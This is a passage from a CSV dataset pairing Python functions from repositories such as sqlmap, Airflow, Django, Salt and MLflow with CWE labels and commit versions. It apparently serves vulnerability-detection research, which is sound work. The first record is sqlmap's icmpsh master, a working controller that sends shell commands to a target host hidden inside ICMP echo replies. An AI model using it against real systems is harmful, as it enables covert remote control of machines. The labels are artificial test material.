# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write(""'%s'\n"" % ex)
sys.stderr.flush()
except:
break",CWE-703,sqlmapproject/sqlmap,1fa81fedf310c2152d151b068bc12a0821f38fa1,"def main(src, dst):
if sys.platform == ""nt"":
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while True:
cmd = ''
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write(""'%s'\n"" % ex)
sys.stderr.flush()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/xmldump.py,0,"def query(self, query, queryRes):
'''
Adds details of an executed query to the xml.
The query details are the query itself and its results.
'''
queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
queryElem.appendChild(self._createTextNode(queryRes))
queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
if (not(queriesElem)):
queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
self._addToRoot(queriesElem)
queriesElem.appendChild(queryElem)",,sqlmapproject/sqlmap,473a39b8204a67e93663b2f15954f7076a411088,"def query(self, query, queryRes):
'''
Adds details of an executed query to the xml.
The query details are the query itself and it's results.
'''
queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
queryElem.appendChild(self._createTextNode(queryRes))
queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
if (not(queriesElem)):
queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
self._addToRoot(queriesElem)
queriesElem.appendChild(queryElem)"
,UNKNOWN,UNKNOWN,providers/tests/standard/operators/test_python.py,1,"def test_provide_context_does_not_fail(self):
""""""Ensures that provide_context doesn't break dags in 2.0.""""""
def func(custom, dag):
assert custom == 1, ""custom should be 1""
assert dag is not None, ""dag should be set""
error_message = ""Invalid arguments were passed to PythonOperator \\(task_id: task_test-provide-context-does-not-fail\\). Invalid arguments were:\n\\*\\*kwargs: {'provide_context': True}""
with pytest.raises((TypeError, AirflowException), match=error_message):
self.run_as_task(func, op_kwargs={""custom"": 1}, provide_context=True)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_provide_context_does_not_fail(self):
""""""Ensures that provide_context doesn't break dags in 2.0.""""""
def func(custom, dag):
assert 1 == custom, ""custom should be 1""
assert dag is not None, ""dag should be set""
error_message = ""Invalid arguments were passed to PythonOperator \\(task_id: task_test-provide-context-does-not-fail\\). Invalid arguments were:\n\\*\\*kwargs: {'provide_context': True}""
with pytest.raises((TypeError, AirflowException), match=error_message):
self.run_as_task(func, op_kwargs={""custom"": 1}, provide_context=True)"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/definitions/test_asset_decorators.py,1,"def test_determine_kwargs(
self,
mock_supervisor_comms,
example_asset_func_with_valid_arg_as_inlet_asset,
):
asset_definition = asset(schedule=None, uri=""s3://bucket/object"", group=""MLModel"", extra={""k"": ""v""})(
example_asset_func_with_valid_arg_as_inlet_asset
)
mock_supervisor_comms.send.side_effect = [
AssetResult(
name=""example_asset_func"",
uri=""s3://bucket/object"",
group=""MLModel"",
extra={""k"": ""v""},
),
AssetResult(name=""inlet_asset_1"", uri=""s3://bucket/object1"", group=""asset"", extra=None),
AssetResult(name=""inlet_asset_2"", uri=""inlet_asset_2"", group=""asset"", extra=None),
]
op = _AssetMainOperator(
task_id=""example_asset_func"",
inlets=[Asset.ref(name=""inlet_asset_1""), Asset.ref(name=""inlet_asset_2"")],
outlets=[asset_definition],
python_callable=example_asset_func_with_valid_arg_as_inlet_asset,
definition_name=""example_asset_func"",
)
assert op.determine_kwargs(context={""k"": ""v""}) == {
""self"": Asset(
name=""example_asset_func"",
uri=""s3://bucket/object"",
group=""MLModel"",
extra={""k"": ""v""},
),
""context"": {""k"": ""v""},
""inlet_asset_1"": Asset(name=""inlet_asset_1"", uri=""s3://bucket/object1""),
""inlet_asset_2"": Asset(name=""inlet_asset_2""),
}
assert mock_supervisor_comms.mock_calls == [
mock.call.send(GetAssetByName(name=""example_asset_func"")),
mock.call.send(GetAssetByName(name=""inlet_asset_1"")),
mock.call.send(GetAssetByName(name=""inlet_asset_2"")),
]",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_determine_kwargs(
self,
mock_supervisor_comms,
example_asset_func_with_valid_arg_as_inlet_asset,
):
asset_definition = asset(schedule=None, uri=""s3://bucket/object"", group=""MLModel"", extra={""k"": ""v""})(
example_asset_func_with_valid_arg_as_inlet_asset
)
mock_supervisor_comms.get_message.side_effect = [
AssetResult(
name=""example_asset_func"",
uri=""s3://bucket/object"",
group=""MLModel"",
extra={""k"": ""v""},
),
AssetResult(name=""inlet_asset_1"", uri=""s3://bucket/object1"", group=""asset"", extra=None),
AssetResult(name=""inlet_asset_2"", uri=""inlet_asset_2"", group=""asset"", extra=None),
]
op = _AssetMainOperator(
task_id=""example_asset_func"",
inlets=[Asset.ref(name=""inlet_asset_1""), Asset.ref(name=""inlet_asset_2"")],
outlets=[asset_definition],
python_callable=example_asset_func_with_valid_arg_as_inlet_asset,
definition_name=""example_asset_func"",
)
assert op.determine_kwargs(context={""k"": ""v""}) == {
""self"": Asset(
name=""example_asset_func"",
uri=""s3://bucket/object"",
group=""MLModel"",
extra={""k"": ""v""},
),
""context"": {""k"": ""v""},
""inlet_asset_1"": Asset(name=""inlet_asset_1"", uri=""s3://bucket/object1""),
""inlet_asset_2"": Asset(name=""inlet_asset_2""),
}
assert mock_supervisor_comms.mock_calls == [
mock.call.send_request(mock.ANY, GetAssetByName(name=""example_asset_func"")),
mock.call.get_message(),
mock.call.send_request(mock.ANY, GetAssetByName(name=""inlet_asset_1"")),
mock.call.get_message(),
mock.call.send_request(mock.ANY, GetAssetByName(name=""inlet_asset_2"")),
mock.call.get_message(),
]"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def remove_field(self, model, field):
""""""
Remove a field from a model. Usually involves deleting a column,
but for M2Ms may involve deleting a table.
""""""
# Special-case implicit M2M tables
if field.many_to_many and field.remote_field.through._meta.auto_created:
return self.delete_model(field.remote_field.through)
# It might not actually have a column behind it
if field.db_parameters(connection=self.connection)['type'] is None:
return
# Drop any FK constraints, MySQL requires explicit deletion
if field.remote_field:
fk_names = self._constraint_names(model, [field.column], foreign_key=True)
for fk_name in fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Delete the column
sql = self.sql_delete_column % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(field.column),
}
self.execute(sql)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()
# Remove all deferred statements referencing the deleted column.
for sql in list(self.deferred_sql):
if isinstance(sql, Statement) and sql.references_column(model._meta.db_table, field.column):
self.deferred_sql.remove(sql)",CWE-89,django/django,c12745f6826280acb637f9c43cd2c7c2ef3d8761,"def remove_field(self, model, field):
""""""
Remove a field from a model. Usually involves deleting a column,
but for M2Ms may involve deleting a table.
""""""
# Special-case implicit M2M tables
if field.many_to_many and field.remote_field.through._meta.auto_created:
return self.delete_model(field.remote_field.through)
# It might not actually have a column behind it
if field.db_parameters(connection=self.connection)['type'] is None:
return
# Drop any FK constraints, MySQL requires explicit deletion
if field.remote_field:
fk_names = self._constraint_names(model, [field.column], foreign_key=True)
for fk_name in fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Delete the column
sql = self.sql_delete_column % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(field.column),
}
self.execute(sql)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()
# Remove all deferred statements referencing the deleted table.
for sql in list(self.deferred_sql):
if isinstance(sql, Statement) and sql.references_column(model._meta.db_table, field.column):
self.deferred_sql.remove(sql)"
,UNKNOWN,UNKNOWN,test/units/parsing/vault/test_vault.py,1,"def test_format_output(self):
v = VaultLib('ansible')
v.cipher_name = ""TEST""
sensitive_data = b""ansible""
data = v._format_output(sensitive_data)
lines = data.split(b'\n')
assert len(lines) > 1, ""failed to properly add header""
header = to_bytes(lines[0])
assert header.endswith(b';TEST'), ""header does end with cipher name""
header_parts = header.split(b';')
assert len(header_parts) == 3, ""header has the wrong number of parts""
assert header_parts[0] == b'$ANSIBLE_VAULT', ""header does not start with $ANSIBLE_VAULT""
assert header_parts[1] == v.b_version, ""header version is incorrect""
assert header_parts[2] == b'TEST', ""header does end with cipher name""",CWE-703,ansible/ansible,89b0c3f6c41a50f6d2cdcefbd0f1cae0d031147c,"def test_format_output(self):
v = VaultLib('ansible')
v.cipher_name = ""TEST""
sensitive_data = ""ansible""
data = v._format_output(sensitive_data)
lines = data.split(b'\n')
assert len(lines) > 1, ""failed to properly add header""
header = to_unicode(lines[0])
assert header.endswith(';TEST'), ""header does end with cipher name""
header_parts = header.split(';')
assert len(header_parts) == 3, ""header has the wrong number of parts""
assert header_parts[0] == '$ANSIBLE_VAULT', ""header does not start with $ANSIBLE_VAULT""
assert header_parts[1] == v.b_version, ""header version is incorrect""
assert header_parts[2] == 'TEST', ""header does end with cipher name"""
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/composer.py,0,"def compose_node(self, parent, index):
if self.check_event(AliasEvent):
event = self.get_event()
anchor = event.anchor
if anchor not in self.anchors:
raise ComposerError(None, None, ""found undefined alias %r""
% anchor, event.start_mark)
return self.anchors[anchor]
event = self.peek_event()
anchor = event.anchor
if anchor is not None:
if anchor in self.anchors:
raise ComposerError(""found duplicate anchor %r; first occurrence""
% anchor, self.anchors[anchor].start_mark,
""second occurrence"", event.start_mark)
self.descend_resolver(parent, index)
if self.check_event(ScalarEvent):
node = self.compose_scalar_node(anchor)
elif self.check_event(SequenceStartEvent):
node = self.compose_sequence_node(anchor)
elif self.check_event(MappingStartEvent):
node = self.compose_mapping_node(anchor)
self.ascend_resolver()
return node",,yaml/pyyaml,d856c206fd4bfd71254e0d69e9d5e31bef5d2c0f,"def compose_node(self, parent, index):
if self.check_event(AliasEvent):
event = self.get_event()
anchor = event.anchor
if anchor not in self.anchors:
raise ComposerError(None, None, ""found undefined alias %r""
% anchor, event.start_mark)
return self.anchors[anchor]
event = self.peek_event()
anchor = event.anchor
if anchor is not None:
if anchor in self.anchors:
raise ComposerError(""found duplicate anchor %r; first occurence""
% anchor, self.anchors[anchor].start_mark,
""second occurence"", event.start_mark)
self.descend_resolver(parent, index)
if self.check_event(ScalarEvent):
node = self.compose_scalar_node(anchor)
elif self.check_event(SequenceStartEvent):
node = self.compose_sequence_node(anchor)
elif self.check_event(MappingStartEvent):
node = self.compose_mapping_node(anchor)
self.ascend_resolver()
return node"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc,
from_str=False,
to_str=False,
context=None,
tmplpath=None,
**kws):
if context is None:
context = {}
# Alias cmd.run to cmd.shell to make python_shell=True the default for
# templated calls
if 'salt' in kws:
kws['salt'] = AliasedLoader(kws['salt'])
# We want explicit context to overwrite the **kws
kws.update(context)
context = kws
assert 'opts' in context
assert 'saltenv' in context
if 'sls' in context:
slspath = context['sls'].replace('.', '/')
if tmplpath is not None:
context['tplpath'] = tmplpath
if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
slspath = os.path.dirname(slspath)
template = tmplpath.replace('\\', '/')
i = template.rfind(slspath.replace('.', '/'))
if i != -1:
template = template[i:]
tpldir = os.path.dirname(template).replace('\\', '/')
tpldata = {
'tplfile': template,
'tpldir': '.' if tpldir == '' else tpldir,
'tpldot': tpldir.replace('/', '.'),
}
context.update(tpldata)
context['slsdotpath'] = slspath.replace('/', '.')
context['slscolonpath'] = slspath.replace('/', ':')
context['sls_path'] = slspath.replace('/', '_')
context['slspath'] = slspath
if isinstance(tmplsrc, six.string_types):
if from_str:
tmplstr = tmplsrc
else:
try:
if tmplpath is not None:
tmplsrc = os.path.join(tmplpath, tmplsrc)
with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
tmplstr = _tmplsrc.read()
except (UnicodeDecodeError,
ValueError,
OSError,
IOError) as exc:
if salt.utils.files.is_binary(tmplsrc):
# Template is a bin file, return the raw file
return dict(result=True, data=tmplsrc)
log.error(
'Exception occurred while reading file %s: %s',
tmplsrc, exc,
exc_info_on_loglevel=logging.DEBUG
)
raise exc
else: # assume tmplsrc is file-like.
tmplstr = tmplsrc.read()
tmplsrc.close()
try:
output = render_str(tmplstr, context, tmplpath)
if six.PY2:
output = output.encode(SLS_ENCODING)
if salt.utils.platform.is_windows():
newline = False
if salt.utils.stringutils.to_unicode(output).endswith(('\n', os.linesep)):
newline = True
# Write out with Windows newlines
output = os.linesep.join(output.splitlines())
if newline:
output += os.linesep
except SaltRenderError as exc:
log.exception('Rendering exception occurred')
#return dict(result=False, data=six.text_type(exc))
raise
except Exception:
return dict(result=False, data=traceback.format_exc())
else:
if to_str: # then render as string
return dict(result=True, data=output)
with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
if six.PY3:
output = output.encode(SLS_ENCODING)
outf.write(output)
# Note: If nothing is replaced or added by the rendering
# function, then the contents of the output file will
# be exactly the same as the input.
return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,07701f9868e03d57ad41c9ce8e04bef7499bd360,"def render_tmpl(tmplsrc,
from_str=False,
to_str=False,
context=None,
tmplpath=None,
**kws):
if context is None:
context = {}
# Alias cmd.run to cmd.shell to make python_shell=True the default for
# templated calls
if 'salt' in kws:
kws['salt'] = AliasedLoader(kws['salt'])
# We want explicit context to overwrite the **kws
kws.update(context)
context = kws
assert 'opts' in context
assert 'saltenv' in context
if 'sls' in context:
slspath = context['sls'].replace('.', '/')
if tmplpath is not None:
context['tplpath'] = tmplpath
if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
slspath = os.path.dirname(slspath)
template = tmplpath.replace('\\', '/')
i = template.rfind(slspath.replace('.', '/'))
if i != -1:
template = template[i:]
tpldir = os.path.dirname(template).replace('\\', '/')
tpldata = {
'tplfile': template,
'tpldir': '.' if tpldir == '' else tpldir,
'tpldot': tpldir.replace('/', '.'),
}
context.update(tpldata)
context['slsdotpath'] = slspath.replace('/', '.')
context['slscolonpath'] = slspath.replace('/', ':')
context['sls_path'] = slspath.replace('/', '_')
context['slspath'] = slspath
if isinstance(tmplsrc, six.string_types):
if from_str:
tmplstr = tmplsrc
else:
try:
if tmplpath is not None:
tmplsrc = os.path.join(tmplpath, tmplsrc)
with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
tmplstr = _tmplsrc.read()
except (UnicodeDecodeError,
ValueError,
OSError,
IOError) as exc:
if salt.utils.files.is_binary(tmplsrc):
# Template is a bin file, return the raw file
return dict(result=True, data=tmplsrc)
log.error(
'Exception occurred while reading file %s: %s',
tmplsrc, exc,
exc_info_on_loglevel=logging.DEBUG
)
raise exc
else: # assume tmplsrc is file-like.
tmplstr = tmplsrc.read()
tmplsrc.close()
try:
output = render_str(tmplstr, context, tmplpath)
if six.PY2:
output = output.encode(SLS_ENCODING)
if salt.utils.platform.is_windows():
newline = False
if output.endswith(('\n', os.linesep)):
newline = True
# Write out with Windows newlines
output = os.linesep.join(output.splitlines())
if newline:
output += os.linesep
except SaltRenderError as exc:
log.exception('Rendering exception occurred')
#return dict(result=False, data=six.text_type(exc))
raise
except Exception:
return dict(result=False, data=traceback.format_exc())
else:
if to_str: # then render as string
return dict(result=True, data=output)
with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
if six.PY3:
output = output.encode(SLS_ENCODING)
outf.write(output)
# Note: If nothing is replaced or added by the rendering
# function, then the contents of the output file will
# be exactly the same as the input.
return dict(result=True, data=outf.name)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cli/batch.py,0,"def run(self):
'''
Execute the batch run
'''
args = [[],
self.opts['fun'],
self.opts['arg'],
self.opts['timeout'],
'list',
]
bnum = self.get_bnum()
to_run = copy.deepcopy(self.minions)
active = []
ret = {}
iters = []
if self.options:
show_jid = self.options.show_jid
show_verbose = self.options.verbose
else:
show_jid = False
show_verbose = False
# the minion tracker keeps track of responses and iterators
# - it removes finished iterators from iters[]
# - if a previously detected minion does not respond, its
# added with an empty answer to ret{} once the timeout is reached
# - unresponsive minions are removed from active[] to make
# sure that the main while loop finishes even with unresp minions
minion_tracker = {}
# Iterate while we still have things to execute
while len(ret) < len(self.minions):
next_ = []
if len(to_run) <= bnum and not active:
# last bit of them, add them all to next iterator
while to_run:
next_.append(to_run.pop())
else:
for i in range(bnum - len(active)):
if to_run:
minion_id = to_run.pop()
if isinstance(minion_id, dict):
next_.append(minion_id.keys()[0])
else:
next_.append(minion_id)
active += next_
args[0] = next_
if next_:
if not self.quiet:
print_cli('\nExecuting run on {0}\n'.format(next_))
# create a new iterator for this batch of minions
new_iter = self.local.cmd_iter_no_block(
*args,
raw=self.opts.get('raw', False),
ret=self.opts.get('return', ''),
show_jid=show_jid,
verbose=show_verbose,
**self.eauth)
# add it to our iterators and to the minion_tracker
iters.append(new_iter)
minion_tracker[new_iter] = {}
# every iterator added is 'active' and has its set of minions
minion_tracker[new_iter]['minions'] = next_
minion_tracker[new_iter]['active'] = True
else:
time.sleep(0.02)
parts = {}
# see if we found more minions
for ping_ret in self.ping_gen:
if ping_ret is None:
break
m = next(ping_ret.iterkeys())
if m not in self.minions:
self.minions.append(m)
to_run.append(m)
for queue in iters:
try:
# Gather returns until we get to the bottom
ncnt = 0
while True:
part = next(queue)
if part is None:
time.sleep(0.01)
ncnt += 1
if ncnt > 5:
break
continue
if self.opts.get('raw'):
parts.update({part['id']: part})
minion_tracker[queue]['minions'].remove(part['id'])
else:
parts.update(part)
for id in part.keys():
if id in minion_tracker[queue]['minions']:
minion_tracker[queue]['minions'].remove(id)
except StopIteration:
# if a iterator is done:
# - set it to inactive
# - add minions that have not responded to parts{}
# check if the tracker contains the iterator
if queue in minion_tracker:
minion_tracker[queue]['active'] = False
# add all minions that belong to this iterator and
# that have not responded to parts{} with an empty response
for minion in minion_tracker[queue]['minions']:
if minion not in parts:
parts[minion] = {}
parts[minion]['ret'] = {}
for minion, data in six.iteritems(parts):
if minion in active:
active.remove(minion)
if self.opts.get('raw'):
yield data
else:
ret[minion] = data['ret']
yield {minion: data['ret']}
if not self.quiet:
ret[minion] = data['ret']
data[minion] = data.pop('ret')
if 'out' in data:
out = data.pop('out')
else:
out = None
salt.output.display_output(
data,
out,
self.opts)
# remove inactive iterators from the iters list
for queue in minion_tracker:
# only remove inactive queues
if not minion_tracker[queue]['active'] and queue in iters:
iters.remove(queue)
# also remove the iterator's minions from the active list
for minion in minion_tracker[queue]['minions']:
if minion in active:
active.remove(minion)",,saltstack/salt,9ca5b02b0c37fe1a3b890173bf730f35480f75ae,"def run(self):
'''
Execute the batch run
'''
args = [[],
self.opts['fun'],
self.opts['arg'],
self.opts['timeout'],
'list',
]
bnum = self.get_bnum()
to_run = copy.deepcopy(self.minions)
active = []
ret = {}
iters = []
if self.options:
show_jid = self.options.show_jid
else:
show_jid = False
# the minion tracker keeps track of responses and iterators
# - it removes finished iterators from iters[]
# - if a previously detected minion does not respond, its
# added with an empty answer to ret{} once the timeout is reached
# - unresponsive minions are removed from active[] to make
# sure that the main while loop finishes even with unresp minions
minion_tracker = {}
# Iterate while we still have things to execute
while len(ret) < len(self.minions):
next_ = []
if len(to_run) <= bnum and not active:
# last bit of them, add them all to next iterator
while to_run:
next_.append(to_run.pop())
else:
for i in range(bnum - len(active)):
if to_run:
minion_id = to_run.pop()
if isinstance(minion_id, dict):
next_.append(minion_id.keys()[0])
else:
next_.append(minion_id)
active += next_
args[0] = next_
if next_:
if not self.quiet:
print_cli('\nExecuting run on {0}\n'.format(next_))
# create a new iterator for this batch of minions
new_iter = self.local.cmd_iter_no_block(
*args,
raw=self.opts.get('raw', False),
ret=self.opts.get('return', ''),
show_jid=show_jid,
**self.eauth)
# add it to our iterators and to the minion_tracker
iters.append(new_iter)
minion_tracker[new_iter] = {}
# every iterator added is 'active' and has its set of minions
minion_tracker[new_iter]['minions'] = next_
minion_tracker[new_iter]['active'] = True
else:
time.sleep(0.02)
parts = {}
# see if we found more minions
for ping_ret in self.ping_gen:
if ping_ret is None:
break
m = next(ping_ret.iterkeys())
if m not in self.minions:
self.minions.append(m)
to_run.append(m)
for queue in iters:
try:
# Gather returns until we get to the bottom
ncnt = 0
while True:
part = next(queue)
if part is None:
time.sleep(0.01)
ncnt += 1
if ncnt > 5:
break
continue
if self.opts.get('raw'):
parts.update({part['id']: part})
minion_tracker[queue]['minions'].remove(part['id'])
else:
parts.update(part)
for id in part.keys():
if id in minion_tracker[queue]['minions']:
minion_tracker[queue]['minions'].remove(id)
except StopIteration:
# if a iterator is done:
# - set it to inactive
# - add minions that have not responded to parts{}
# check if the tracker contains the iterator
if queue in minion_tracker:
minion_tracker[queue]['active'] = False
# add all minions that belong to this iterator and
# that have not responded to parts{} with an empty response
for minion in minion_tracker[queue]['minions']:
if minion not in parts:
parts[minion] = {}
parts[minion]['ret'] = {}
for minion, data in six.iteritems(parts):
if minion in active:
active.remove(minion)
if self.opts.get('raw'):
yield data
else:
ret[minion] = data['ret']
yield {minion: data['ret']}
if not self.quiet:
ret[minion] = data['ret']
data[minion] = data.pop('ret')
if 'out' in data:
out = data.pop('out')
else:
out = None
salt.output.display_output(
data,
out,
self.opts)
# remove inactive iterators from the iters list
for queue in minion_tracker:
# only remove inactive queues
if not minion_tracker[queue]['active'] and queue in iters:
iters.remove(queue)
# also remove the iterator's minions from the active list
for minion in minion_tracker[queue]['minions']:
if minion in active:
active.remove(minion)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_functional.py,0,"def tearDown(self):
pass",UNKNOWN,PyCQA/bandit,535ee589ad619226a3c105130773b74ac1285e7a,"def tearDown(self):
pass"
,UNKNOWN,UNKNOWN,mlflow/recipes/steps/train.py,1,"def _run(self, output_directory):
def my_warn(*args, **kwargs):
timestamp = datetime.datetime.now().strftime(""%Y/%m/%d %H:%M:%S"")
stacklevel = 1 if ""stacklevel"" not in kwargs else kwargs[""stacklevel""]
frame = sys._getframe(stacklevel)
filename = frame.f_code.co_filename
lineno = frame.f_lineno
message = f""{timestamp} {filename}:{lineno}: {args[0]}\n""
with open(os.path.join(output_directory, ""warning_logs.txt""), ""a"") as f:
f.write(message)
original_warn = warnings.warn
warnings.warn = my_warn
try:
import numpy as np
import pandas as pd
import sklearn
from sklearn.pipeline import make_pipeline
from sklearn.utils.class_weight import compute_class_weight
from mlflow.models import infer_signature
with open(os.path.join(output_directory, ""warning_logs.txt""), ""w""):
pass
apply_recipe_tracking_config(self.tracking_config)
transformed_training_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformed_training_data.parquet"",
)
train_df = pd.read_parquet(transformed_training_data_path)
validate_classification_config(
self.task, self.positive_class, train_df, self.target_col
)
self.using_rebalancing = False
if self.extended_task == ""classification/binary"":
classes = np.unique(train_df[self.target_col])
class_weights = compute_class_weight(
class_weight=""balanced"",
classes=classes,
y=train_df[self.target_col],
)
self.original_class_weights = dict(zip(classes, class_weights))
if self.rebalance_training_data and len(classes) == 2:
if len(train_df) > _REBALANCING_CUTOFF:
self.using_rebalancing = True
train_df = self._rebalance_classes(train_df)
else:
_logger.info(
f""Training data has less than {_REBALANCING_CUTOFF} rows, ""
f""skipping rebalancing.""
)
X_train, y_train = train_df.drop(columns=[self.target_col]), train_df[self.target_col]
transformed_validation_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformed_validation_data.parquet"",
)
validation_df = pd.read_parquet(transformed_validation_data_path)
raw_training_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""split"",
relative_path=""train.parquet"",
)
raw_train_df = pd.read_parquet(raw_training_data_path)
raw_X_train = raw_train_df.drop(columns=[self.target_col])
raw_validation_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""split"",
relative_path=""validation.parquet"",
)
raw_validation_df = pd.read_parquet(raw_validation_data_path)
transformer_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformer.pkl"",
)
tags = {
MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.RECIPE),
MLFLOW_RECIPE_TEMPLATE_NAME: self.step_config[""recipe""],
MLFLOW_RECIPE_PROFILE_NAME: self.step_config[""profile""],
MLFLOW_RECIPE_STEP_NAME: MLFLOW_RECIPES_EXECUTION_TARGET_STEP_NAME.get(),
}
run_name = self.tracking_config.run_name
best_estimator_params = None
mlflow.autolog(log_models=False, silent=True)
with mlflow.start_run(run_name=run_name, tags=tags) as run:
estimator = self._resolve_estimator(
X_train, y_train, validation_df, run, output_directory
)
best_estimator_params = estimator.get_params()
fitted_estimator, additional_fitted_args = self._fitted_estimator(
estimator, X_train, y_train
)
logged_estimator = self._log_estimator_to_mlflow(fitted_estimator, X_train)
# Create a recipe consisting of the transformer+model for test data evaluation
with open(transformer_path, ""rb"") as f:
transformer = cloudpickle.load(f)
mlflow.sklearn.log_model(
transformer, ""transform/transformer"", code_paths=self.code_paths
)
trained_pipeline = make_pipeline(transformer, fitted_estimator)
# Creating a wrapped recipe model which exposes a single predict function
# so it can output both predict and predict_proba(for a classification problem)
# at the same time.
wrapped_model = WrappedRecipeModel(
self.predict_scores_for_all_classes,
self.predict_prefix,
target_column_class_labels=additional_fitted_args.get(
""target_column_class_labels""
),
)
model_uri = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=self.name,
relative_path=TrainStep.MODEL_ARTIFACT_RELATIVE_PATH,
)
sklearn_model_uri = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=self.name,
relative_path=TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH,
)
if os.path.exists(model_uri):
shutil.rmtree(model_uri)
if os.path.exists(sklearn_model_uri):
shutil.rmtree(sklearn_model_uri)
# Saving the sklearn model as a separate output since `mlflow.evaluate()`, which is
# used in evaluate step of the recipe, needs this model's sklearn representation
# to computes metrics (the pyfunc representation of the user-facing model logged to
# MLflow Tracking is not currently compatible with `mlflow.evaluate()`)
mlflow.sklearn.save_model(trained_pipeline, sklearn_model_uri)
artifacts = {""model_path"": sklearn_model_uri}
with TempDir() as tmp:
# Saving a temp model so that the output schema (signature) of the model's
# pyfunc representation can be inferred and included when logging the model
# to MLflow Tracking. Unfortunately, there is currently no easy way to infer
# the model's signature without first saving a copy of it, and there is no easy
# way to add an inferred signature to an existing model
